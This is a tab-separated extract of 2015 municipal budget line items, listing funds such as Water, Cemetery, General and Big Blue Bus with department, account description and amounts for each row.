14123	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544350.0	TRAINING COSTS	844.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14124	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	566060.0	INTEREST EXPENSE	866.0	 Supplies and Expenses	2015	6108.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6108.0
14125	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-50000.0
14126	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	22000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22000.0
14127	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	3800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3800.0
14128	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2015	311.0	0	0	0	0	0	0.0	0	0	0	0	0.0	311.0
14129	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	5740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5740.0
14130	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
14131	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511490.0	OVERTIME	840.0	Salaries and Wages	2015	37946.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37946.0
14132	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2015	37252.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37252.0
14133	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2015	79570.0	0	0	0	0	0	0.0	0	0	0	0	0.0	79570.0
14134	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	509.0
14135	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2015	230634.0	0	0	0	0	0	0.0	0	0	0	0	0.0	230634.0
14136	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14137	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14138	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14139	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	2346495.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2346495.0
14140	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2015	1400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1400.0
14141	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	569230.0	INTEREST ON SMURRF LOAN		 Supplies and Expenses	2015	55262.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55262.0
14142	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	400191.0	STREET PERFORMERS PERMIT	608.0	Licenses and Permits	2015	-47000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-47000.0
14143	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14144	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522180.0	BANK FEES		 Supplies and Expenses	2015	15270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15270.0
14145	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	13743.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13743.0
14146	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	1120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1120.0
14147	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER REIMB		 Supplies and Expenses	2015	1147521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1147521.0
14148	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555060.0	PROFESSIONAL SERVICES	864.0	 Supplies and Expenses	2015	315000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	315000.0
14149	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	400940.0	CDBG CURRENT ALLOCATION	610.0	Intergovernmental	2015	-1010493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1010493.0
14150	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402490.0	WATER CAPITAL FACILITIES FEE	650.0	Charges for Service	2015	-400000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-400000.0
14151	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401520.0	SPECIAL PICK-UPS	650.0	Charges for Service	2015	-5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5000.0
14152	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405930.0	TRANSFER STATION - CITY DEPTS	650.0	Charges for Service	2015	-273300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-273300.0
14153	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402410.0	SELF-INSURANCE BUS	650.0	Charges for Service	2015	-2500000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2500000.0
14154	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2015	-36200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-36200.0
14155	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401630.0	LIBRARY COPIERS AND PRINTERS	612.0	Charges for Service	2015	-23000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23000.0
14156	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544040.0	BOOKS/PAMPHLETS	816.0	 Supplies and Expenses	2015	51.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51.0
14157	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511250.0	STANDBY PAY	806.0	Salaries and Wages	2015	31913.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31913.0
14158	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14159	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405020.0	SALE OF REFUSE BAGS	650.0	Charges for Service	2015	-500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-500.0
14160	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	400000.0	REVENUE	600.0	Revenue	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14161	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400670.0	FIRE PERMITS / FEES	608.0	Licenses and Permits	2015	-724500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-724500.0
14162	BA	IS	1	General Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404810.0	REFUSE BINS - STORAGE FEES	612.0	Charges for Service	2015	-67300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-67300.0
14163	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401640.0	LIBRARY MEETING ROOM RENTAL	618.0	Rentals	2015	-53000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-53000.0
14164	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	49500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49500.0
14165	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	1982.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1982.0
14166	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
14167	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2015	5233.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5233.0
14168	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2015	5523.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5523.0
14169	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555030.0	EMPLOYEE MEDICAL EXAMS		 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
14170	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511748.0	DENTAL	840.0	Salaries and Wages	2015	7768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7768.0
14171	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522950.0	CNG FUEL		 Supplies and Expenses	2015	3639.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3639.0
14172	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401280.0	VIDEO PLAN	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14173	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2015	15396.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15396.0
14174	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2015	1061557.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1061557.0
14175	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511040.0	COUNCIL/BOARD ALLOWANCE	840.0	Salaries and Wages	2015	2400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2400.0
14176	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555030.0	EMPLOYEE MEDICAL EXAMS	844.0	 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
14177	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566820.0	SMMUSD JOINT USE AGREEMENT	810.0	 Supplies and Expenses	2015	8659510.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8659510.0
14178	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING TRANSFER	908.0	 Supplies and Expenses	2015	-236472.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-236472.0
14179	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	908.0	 Supplies and Expenses	2015	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
14180	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMBURSEMENT-HUMAN SVCS	908.0	 Supplies and Expenses	2015	-55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-55000.0
14181	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FD REIMBURSEMENT FROM PIER		 Supplies and Expenses	2015	194919.0	0	0	0	0	0	0.0	0	0	0	0	0.0	194919.0
14182	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2015	1146938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1146938.0
14183	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-300000.0
14184	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-250000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-250000.0
14185	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405550.0	DOMESTIC PARTNERSHIP FLNG FEE	612.0	Charges for Service	2015	-400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-400.0
14186	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401360.0	GEN PROM BUS LICENSE MAIN ST.	622.0	Other	2015	-6100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6100.0
14187	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FUND REIMB FROM PIER FUND	908.0	 Supplies and Expenses	2015	-194919.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-194919.0
14188	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	48826.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48826.0
14189	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522311.0	DISCOUNTS AVAILABLE	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14190	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522180.0	BANK FEES		 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
14191	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2015	17177.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17177.0
14192	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533080.0	MARTIN LUTHER KING DAY	810.0	 Supplies and Expenses	2015	8038.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8038.0
14193	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2015	2129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2129.0
14194	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2015	-242400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-242400.0
14195	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400771.0	OUTDOOR DINING REVENUE	618.0	Rentals	2015	-666007.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-666007.0
14196	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	122.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122.0
14197	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-145000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-145000.0
14198	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2015	-575000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-575000.0
14199	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	407160.0	STORMWATER IN-LIEU FEES	662.0	Other	2015	-200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200000.0
14200	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555210.0	TRAINING	862.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
14201	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402350.0	WATER - MISC NON-OPERATING	662.0	Other	2015	-316806.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-316806.0
14202	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402370.0	REIMB FROM OTHER FUNDS	650.0	Charges for Service	2015	-431080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-431080.0
14203	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404800.0	WATER DEMAND MITIGATION FEE	650.0	Charges for Service	2015	-300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-300000.0
14204	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402220.0	CEMETERY MISC SALES / SERVICES	650.0	Charges for Service	2015	-257489.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-257489.0
14205	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402230.0	MAUSOLEUM-MISC SALES/SVCS	650.0	Charges for Service	2015	-18025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18025.0
14206	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404680.0	HMRRP FEES	612.0	Charges for Service	2015	-169762.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-169762.0
14207	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400690.0	PLAN CHECK FEES-ENGINEERING	612.0	Charges for Service	2015	-390635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-390635.0
14208	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2015	14201.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14201.0
14209	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2015	15793.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15793.0
14210	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2015	53477.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53477.0
14211	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577050.0	PROPERTY TAXES	866.0	 Supplies and Expenses	2015	54304.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54304.0
14212	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2015	69814.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69814.0
14213	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2015	2163514.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2163514.0
14214	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522060.0	COURT FILING FEES	862.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14215	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2015	60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60000.0
14216	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2015	775000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	775000.0
14217	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555210.0	TRAINING	862.0	 Supplies and Expenses	2015	120000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120000.0
14218	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2015	-2026969.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2026969.0
14219	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402360.0	WATER - METER SRVC / INSTALL	650.0	Charges for Service	2015	-450000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-450000.0
14220	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401500.0	GARB/REFUSE COLLECTION FEES	650.0	Charges for Service	2015	-23832000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23832000.0
14221	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401540.0	STATE HIGHWAY CLEANING	650.0	Charges for Service	2015	-10800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10800.0
14222	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2015	-148800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-148800.0
14223	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402200.0	CEMETERY LOT SALES	650.0	Charges for Service	2015	-537700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-537700.0
14224	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522950.0	CNG FUEL	812.0	 Supplies and Expenses	2015	1276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1276.0
14225	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2015	452336.0	0	0	0	0	0	0.0	0	0	0	0	0.0	452336.0
14226	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2015	71653.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71653.0
14227	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	27.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27.0
14228	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	950470.0	0	0	0	0	0	0.0	0	0	0	0	0.0	950470.0
14229	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
14230	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511490.0	OVERTIME		Salaries and Wages	2015	7552.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7552.0
14231	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2015	6150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6150.0
14232	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2015	375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	375.0
14233	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544113.0	ONBOARD MATERIALS		 Supplies and Expenses	2015	41000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41000.0
14234	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544119.0	PUBLIC RELATIONS SVC.		 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
14235	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402000.0	PASSENGER REVENUE	650.0	Charges for Service	2015	-14508200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14508200.0
14236	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2015	46830.0	0	0	0	0	0	0.0	0	0	0	0	0.0	46830.0
14237	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544010.0	SPEC DEPT SUPPLIES	810.0	 Supplies and Expenses	2015	2036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2036.0
14238	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2015	4468.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4468.0
14239	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569000.0	CULTURAL/ARTS GRANTS	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14240	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2015	24125.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24125.0
14241	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14242	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14243	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	910.0	 Supplies and Expenses	2015	1959004.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1959004.0
14244	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511690.0	OUTSIDE TEMP AGENCY EMPLOYEES	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522311.0	DISCOUNTS AVAILABLE	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
